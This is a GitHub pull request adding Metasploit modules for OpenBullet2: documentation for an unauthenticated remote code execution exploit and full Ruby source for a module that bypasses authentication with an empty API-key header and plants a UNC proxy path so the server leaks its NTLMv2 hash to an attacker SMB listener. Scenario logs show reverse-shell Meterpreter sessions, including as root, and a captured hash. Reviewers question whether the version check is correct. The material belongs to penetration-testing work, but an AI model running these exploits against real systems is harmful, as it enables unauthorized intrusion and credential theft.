-
Notifications
You must be signed in to change notification settings - Fork 15k
Add OpenBullet2 modules (CVE-2026-25856 and CVE-2026-39908) #21541
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
82b9809
208329e
6127aa6
89bc283
4f4513d
b54678e
0f95d40
3cb1849
5157f95
4b64ad7
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,53 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. | ||
|
|
||
| An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. | ||
|
|
||
| The affected versions include releases from 0.2.5. | ||
|
|
||
| ## Setup | ||
|
|
||
| ### Windows | ||
|
|
||
| 1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack | ||
| 2. Run | ||
| ``` | ||
| .\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" | ||
| ``` | ||
|
|
||
| ### Set Authentication | ||
|
|
||
| Authentication is turned off by default. | ||
| You need to set it to check bypass. | ||
|
|
||
| 1. Go to http://127.0.0.1:5000/settings | ||
| 2. Click "Change admin password" and set any password | ||
| 3. Turn "Require admin login" on | ||
| 4. Save | ||
|
|
||
| ## Scenario | ||
|
|
||
| ``` | ||
| msf > use scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908 | ||
| msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set SRVHOST eth0 | ||
| SRVHOST => 192.168.19.153 | ||
| msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RHOST 192.168.19.154 | ||
| RHOST => 192.168.19.154 | ||
| msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > set RPORT 5000 | ||
| RPORT => 5000 | ||
| msf auxiliary(scanner/http/openbullet2_unauth_hash_disclosure_cve_2026_39908) > run | ||
| [*] Running module against 192.168.19.154 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] OpenBullet2 Instance OS: Microsoft Windows NT 10.0.19044.0 | ||
| [+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable | ||
| [*] Server is running. Listening on 192.168.19.153:445 | ||
| [*] The SMB service has been started. | ||
| [*] Listening for hashes on 192.168.19.153:445 | ||
| [SMB] NTLMv2-SSP Client : 192.168.19.154 | ||
| [SMB] NTLMv2-SSP Username : DESKTOP-1E5TEED\admin | ||
| [SMB] NTLMv2-SSP Hash : admin::DESKTOP-1E5TEED:[HASH] | ||
|
|
||
| [*] Server stopped. | ||
| [*] Auxiliary module execution completed | ||
| ``` |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,100 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. | ||
|
|
||
| Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. | ||
|
|
||
| The affected versions include releases from 0.2.5. | ||
|
|
||
| ## Setup | ||
|
|
||
| ### Linux | ||
|
|
||
| 1. Set up | ||
| ``` | ||
| docker run --name openbullet2 --rm -p 5000:5000 -it openbullet/openbullet2:0.3.2 | ||
| ``` | ||
|
|
||
| ### Windows | ||
|
|
||
| 1. Download [OpenBullet2.Web-win-x64.zip](https://github.com/openbullet/OpenBullet2/releases/download/0.3.3.3093/OpenBullet2.Web-win-x64.zip) and unpack | ||
| 2. Run | ||
| ``` | ||
| .\OpenBullet2.Web.exe --urls "http://0.0.0.0:5000" | ||
| ``` | ||
|
|
||
| ### Set Authentication | ||
|
|
||
| Authentication is turned off by default. | ||
| You need to set it to check bypass. | ||
|
|
||
| 1. Go to http://127.0.0.1:8069/settings | ||
| 2. Click "Change admin password" and set any password | ||
| 3. Turn "Require admin login" on | ||
| 4. Save | ||
|
|
||
| ## Scenario | ||
|
|
||
| ### Linux | ||
|
|
||
| ``` | ||
| msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 | ||
| [*] Using configured payload | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 1 | ||
| target => 1 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 127.0.0.1 | ||
| RHOSTS => 127.0.0.1 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 8069 | ||
| RPORT => 8069 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST docker0 | ||
| LHOST => 172.17.0.1 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run | ||
| [*] Started reverse TCP handler on 172.17.0.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] OS: Debian GNU/Linux 12 (bookworm) | ||
| [+] The target appears to be vulnerable. Detected version 0.3.2, which is vulnerable | ||
| [*] Sending stage (3090404 bytes) to 172.17.0.2 | ||
| [*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:40666) at 2026-06-06 06:38:56 -0400 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 67393a3c15a2 | ||
| OS : Debian 12.7 (Linux 6.18.12+kali-amd64) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > getuid | ||
| Server username: root | ||
| ``` | ||
|
|
||
| ### Windows | ||
|
|
||
| ``` | ||
| msf > use exploit/multi/http/openbullet2_unauth_rce_cve_2026_25856 | ||
| [*] Using configured payload | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RHOSTS 192.168.19.154 | ||
| RHOSTS => 192.168.19.154 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set RPORT 5000 | ||
| RPORT => 5000 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set target 2 | ||
| target => 2 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > set LHOST eth0 | ||
| LHOST => eth0 | ||
| msf exploit(multi/http/openbullet2_unauth_rce_cve_2026_25856) > run | ||
| [*] Started reverse TCP handler on 192.168.19.153:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] OS: Microsoft Windows NT 10.0.19044.0 | ||
| [+] The target appears to be vulnerable. Detected version 0.3.3.3093, which is vulnerable | ||
| [*] Sending stage (232006 bytes) to 192.168.19.154 | ||
| [*] Meterpreter session 1 opened (192.168.19.153:4444 -> 192.168.19.154:50388) at 2026-06-06 03:42:13 -0400 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : DESKTOP-1E5TEED | ||
| OS : Windows 10 21H2 (10.0 Build 19044). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 2 | ||
| Meterpreter : x64/windows | ||
| meterpreter > getuid | ||
| Server username: DESKTOP-1E5TEED\admin | ||
| ``` | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Testing on 0.3.2 I was unable able to get the target to send my SMB server the NLTM hash. I've included some detailed output below. Any idea what might be going wrong? Testing 0.3.2
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It works for me. Can't reproduce, needs to research
|
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,235 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Auxiliary | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Exploit::Remote::SMB::Server::Share | ||
| include Msf::Exploit::Remote::SMB::Server::HashCapture | ||
| prepend Msf::Exploit::Remote::AutoCheck | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'OpenBullet2 NTLMv2 Hash Disclosure via UNC Path Proxy Source', | ||
| 'Description' => %q{ | ||
| This Metasploit module exploits a Credential Disclosure vulnerability in OpenBullet2 on Windows. | ||
|
|
||
| An attacker can force the application to disclose the NTLMv2 hash of the process user by configuring a job proxy source with a malicious UNC path. | ||
| When the job starts, the application attempts to load proxies from the specified path via SMB, allowing the hash to be captured for offline cracking or relaying. | ||
|
|
||
| The affected versions include releases from 0.2.5. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'Maksim Rogov', # Vulnerability Discovery & Metasploit Module | ||
| ], | ||
| 'References' => [ | ||
| ['CVE', '2026-25555'], | ||
| ['CVE', '2026-39908'], | ||
| ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2'] | ||
| ], | ||
| 'DisclosureDate' => '2026-06-08', | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'SideEffects' => [IOC_IN_LOGS], | ||
| 'Reliability' => [] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']), | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'), | ||
| 'method' => 'GET', | ||
| 'headers' => { 'X-Api-Key' => '' } | ||
| ) | ||
| return Exploit::CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
|
|
||
| json_body = res&.get_json_document | ||
| return Exploit::CheckCode::Unknown("#{peer} - Unable to parse JSON response") unless json_body | ||
| return Exploit::CheckCode::Unknown("#{peer} - \"currentVersion\" key not found in response") unless json_body.key?('currentVersion') | ||
|
|
||
| version = Rex::Version.new(json_body['currentVersion']) | ||
| return Exploit::CheckCode::Safe("Detected version #{version}, which is not vulnerable") if version < Rex::Version.new('0.2.5') | ||
|
|
||
| @target_os = get_server_info | ||
| print_status("OpenBullet2 Instance OS: #{@target_os}") | ||
| return Exploit::CheckCode::Safe("Detected vulnerable version #{version}, but the target OS is #{@target_os} (Windows-only module)") unless @target_os.to_s.downcase.include?('windows') | ||
|
|
||
| Exploit::CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})") | ||
| end | ||
|
|
||
| def create_config | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), | ||
| 'method' => 'POST', | ||
| 'headers' => { 'X-Api-Key' => '' } | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
|
|
||
| json_body = res&.get_json_document | ||
| fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body | ||
| fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') | ||
|
|
||
| json_body['id'] | ||
| end | ||
|
|
||
| def get_configs | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config', 'all'), | ||
| 'method' => 'GET', | ||
| 'headers' => { 'X-Api-Key' => '' } | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
|
|
||
| json_body = res&.get_json_document | ||
| fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body | ||
|
|
||
| json_body | ||
| end | ||
|
|
||
| def create_job(config_id, proxy_path) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'), | ||
| 'method' => 'POST', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json', | ||
| 'data' => { | ||
| 'startCondition' => { | ||
| '_polyTypeName' => 'relativeTimeStartCondition' | ||
| }, | ||
| 'configId' => config_id, | ||
| 'proxyMode' => 'on', | ||
| 'dataPool' => { | ||
| '_polyTypeName' => 'rangeDataPool', | ||
| 'wordlistType' => 'Default', | ||
| 'start' => 1, | ||
| 'amount' => 1, | ||
| 'step' => 1 | ||
| }, | ||
| 'proxySources' => [ | ||
| { | ||
| '_polyTypeName' => 'fileProxySource', | ||
| 'fileName' => proxy_path, | ||
| 'defaultType' => 'http' | ||
| } | ||
| ] | ||
| }.to_json | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
|
|
||
| json_body = res&.get_json_document | ||
| fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body | ||
| fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id') | ||
|
|
||
| json_body['id'] | ||
| end | ||
|
|
||
| def start_job(job_id) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'), | ||
| 'method' => 'POST', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json', | ||
| 'data' => { 'jobId' => job_id, 'wait' => false }.to_json | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
| end | ||
|
|
||
| def abort_job(job_id) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'abort'), | ||
| 'method' => 'POST', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json', | ||
| 'data' => { 'jobId' => job_id, 'wait' => false }.to_json | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
| end | ||
|
|
||
| def delete_job(job_id) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'), | ||
| 'method' => 'DELETE', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json', | ||
| 'vars_get' => { id: job_id } | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
| end | ||
|
|
||
| def delete_config(config_id) | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'), | ||
| 'method' => 'DELETE', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json', | ||
| 'vars_get' => { id: config_id } | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
| end | ||
|
|
||
| def get_server_info | ||
| res = send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'), | ||
| 'method' => 'GET', | ||
| 'headers' => { 'X-Api-Key' => '' }, | ||
| 'ctype' => 'application/json' | ||
| ) | ||
| fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200 | ||
|
|
||
| json_body = res&.get_json_document | ||
| fail_with(Failure::UnexpectedReply, 'Unable to parse the response') unless json_body | ||
| fail_with(Failure::UnexpectedReply, "#{peer} - operatingSystem key not found in response") unless json_body.key?('operatingSystem') | ||
|
|
||
| json_body['operatingSystem'] | ||
| end | ||
|
|
||
| def cleanup | ||
| super | ||
| delete_config(@config_id) if @config_source == :created | ||
| abort_job(@job_id) if @job_id | ||
| delete_job(@job_id) if @job_id | ||
| end | ||
|
|
||
| def validate_target_os! | ||
| target_os = @target_os || get_server_info | ||
| unless target_os.to_s.downcase.include?('windows') | ||
| fail_with(Failure::NoTarget, "This module only supports Windows targets, but the remote server is running #{target_os}.") | ||
| end | ||
| end | ||
|
|
||
| def run | ||
| validate_target_os! | ||
|
|
||
| configs = get_configs | ||
| @config_id, @config_source = configs.empty? ? [create_config, :created] : [configs.sample['id'], :default] | ||
|
|
||
| unc_share = Faker::Lorem.word | ||
| unc_fname = Faker::Lorem.word | ||
| unc_path = "\\\\#{srvhost}\\#{unc_share}\\#{unc_fname}.txt" | ||
| @job_id = create_job(@config_id, unc_path) | ||
|
|
||
| start_smb_capture_server | ||
| start_job(@job_id) | ||
|
|
||
| Rex::ThreadSafe.sleep(5) | ||
| end | ||
|
|
||
| def start_smb_capture_server | ||
| start_service | ||
| print_status('The SMB service has been started.') | ||
| print_status("Listening for hashes on #{srvhost}:#{srvport}") | ||
| end | ||
|
|
||
| end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I downloaded and installed this version
0.3.3.3092, the check method reports it as being vulnerable (I see from the output in the scenarios section that the exploit was working for you against this version) however I'm not seeing the NTLM hash being sent to the SMB service that the modules spins up.NVD and vulncheck both say that
OpenBullet2 <= 0.3.2are vulnerable which would mean that this version is not vulnerable and the check method is incorrect.I installed version 0.3.2 but the modules is still not working for me.